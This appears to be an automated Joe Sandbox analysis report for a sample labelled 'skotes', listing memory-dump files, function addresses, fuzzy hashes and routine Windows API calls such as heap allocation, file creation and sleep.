Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fef5ad5a91fd16d52bbd0cc2b8666ca45dd8aaa129d8e98fdeb8e0f5d77568eb
Instruction ID: b3105b3e1724fbd3880311141ad9393aefe9866f99b184d13a3766b5a1da552b
Opcode Fuzzy Hash: fef5ad5a91fd16d52bbd0cc2b8666ca45dd8aaa129d8e98fdeb8e0f5d77568eb
Instruction Fuzzy Hash: 12F0E232F0122466EB312B729C89B5F3758DF8D3B0B188121BD1AA71C2DA30DD0096E0

Function 00C6B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,C21C428B,?,?,00C4D3FC,C21C428B,?,00C47A8B,?,?,?,?,?,?,00C37465,?), ref: 00C6B07D

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 02ddf3480dcaf3dfd85929ae2bb486272f2cd1d59f9f063c701da630f418dc51
Instruction ID: 3a3a8eaeb92a8252a2d026a9f93ef9744013586ace49f672c6044e52ccb83da6
Opcode Fuzzy Hash: 02ddf3480dcaf3dfd85929ae2bb486272f2cd1d59f9f063c701da630f418dc51
Instruction Fuzzy Hash: 65E06DB5145226A6EB3132669CC1B5FAE4C9B413A0F251221AE75E61A1EF21DE8091E1

Function 00C71775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00C71B65,?,?,00000000,?,00C71B65,00000000,0000000C), ref: 00C71792

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 92379323ce48e75b1683493e42396b211f5281da59c6e6ce163d18d9a0b0133e
Instruction ID: 903ab32dbb9b396a353b52fc222ddcf14628dc88ffe5d8c455cfe7a2550da44d
Opcode Fuzzy Hash: 92379323ce48e75b1683493e42396b211f5281da59c6e6ce163d18d9a0b0133e
Instruction Fuzzy Hash: 3DD0923204010DBFDF129E84DC02EDA3BAAFB88714F118110BE1866060C732E832AB94

Function 00C46C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00C46CF5

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b4e4eb3662d5f7d68ca4420e17830d99b02a04966af07b31b145bb9f4ddbbc70
Instruction ID: 330807f79b55f859418b2283375737b44523d069edaa2f7bfdd86de59aa9fc92
Opcode Fuzzy Hash: b4e4eb3662d5f7d68ca4420e17830d99b02a04966af07b31b145bb9f4ddbbc70
Instruction Fuzzy Hash: E9F0F471A00640ABCB00BB699C0BB0E7BB4EB07764F900758E821672D2DB301A0457D3

Function 04F00D2F Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2943358519.0000000004F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113209b77e4d4be6667287e5b793bdcfec2d4e7db7bbc7ec9f7c372c64a7625d
Instruction ID: 1a33549af8ebc9044bb701dac845a4c184c31876ae26fe16ee11aef73c921bb7
Opcode Fuzzy Hash: 113209b77e4d4be6667287e5b793bdcfec2d4e7db7bbc7ec9f7c372c64a7625d
Instruction Fuzzy Hash: 3811A2A728D114EE934245816B14BB97A1EE7C3270330C076F807EB682FE916947B172

Function 04F00D4B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2943358519.0000000004F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf5244ce90ff0fc505a47790cb7b23397aaf250fe64d44083828f0de3a36fe1
Instruction ID: 93c74a174c3e18bc0e2a3b6a70a27719fa2540542ea66a749dfa1e2fba9097f2
Opcode Fuzzy Hash: ccf5244ce90ff0fc505a47790cb7b23397aaf250fe64d44083828f0de3a36fe1
Instruction Fuzzy Hash: 8DF0D1AB28D201BE935349816B04AF63E2DE6C3370330C076F447AB1C2FAC1694AB271

Function 04F00D69 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2943358519.0000000004F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 239b053cf1da57bb87e7c9bd58be4347cfe0a6192d4f93ad0cc715d9bea6814d
Instruction ID: 54a2779a7ad108b27a5b9739b0068689046d64a2753d7d83597e24f2688b1346
Opcode Fuzzy Hash: 239b053cf1da57bb87e7c9bd58be4347cfe0a6192d4f93ad0cc715d9bea6814d
Instruction Fuzzy Hash: 61F090AB28D204FED24255816B04BF67B2DA7C3770770C032F443AB582FAD16A4AB271

Function 04F00D8F Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2943358519.0000000004F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63c116ba4920ceb50a76c0cee274e58ccb4a021bb1cd11abe00b135dbdf91af2
Instruction ID: f721d2e7a05a653292b25b42c9c67fdb7ef7d0ad16a72a47834e6a08e15d0e4c
Opcode Fuzzy Hash: 63c116ba4920ceb50a76c0cee274e58ccb4a021bb1cd11abe00b135dbdf91af2
Instruction Fuzzy Hash: 07F0A7AB28D000BE924345942B44AF57BADF6C3731334C476F442D6483EA895A4BB231

Function 04F00DCC Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2943358519.0000000004F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdc0db65967f0d3977f501c87012c4bf44ad3411e7b41d35c7b8e4fd7abf42ce
Instruction ID: 3f42f87803b503771bb869adfe76ed7f11e00d8122e30fdd1d34e045c9ac9dd4
Opcode Fuzzy Hash: bdc0db65967f0d3977f501c87012c4bf44ad3411e7b41d35c7b8e4fd7abf42ce
Instruction Fuzzy Hash: 53F0ECA725D150EDF35190652A597FA775DE6C6230370C47BF002C2882FA45569B7132

Function 04F00DB6 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2943358519.0000000004F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 476bcaf65e8018ac85614b2ebe3a6d05ed6e8c458c1b5d0dd93cd3cd413d1bed
Instruction ID: 2fbe329b75f4ef91730d42d71f418eac79df05bf2a0a912c0f1d31a2b61a1524
Opcode Fuzzy Hash: 476bcaf65e8018ac85614b2ebe3a6d05ed6e8c458c1b5d0dd93cd3cd413d1bed
Instruction Fuzzy Hash: 88E092A725D010BEA25190552A497FA679DE6C2330370803AF002D2482FA86569A7131

Non-executed Functions

Function 00C50E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00C50F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00C50F62

Part of subcall function 00C5265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00C52750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00C50FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00C50FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00C5103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00C5106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00C510C1

Strings

(, xrefs: 00C50F22

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
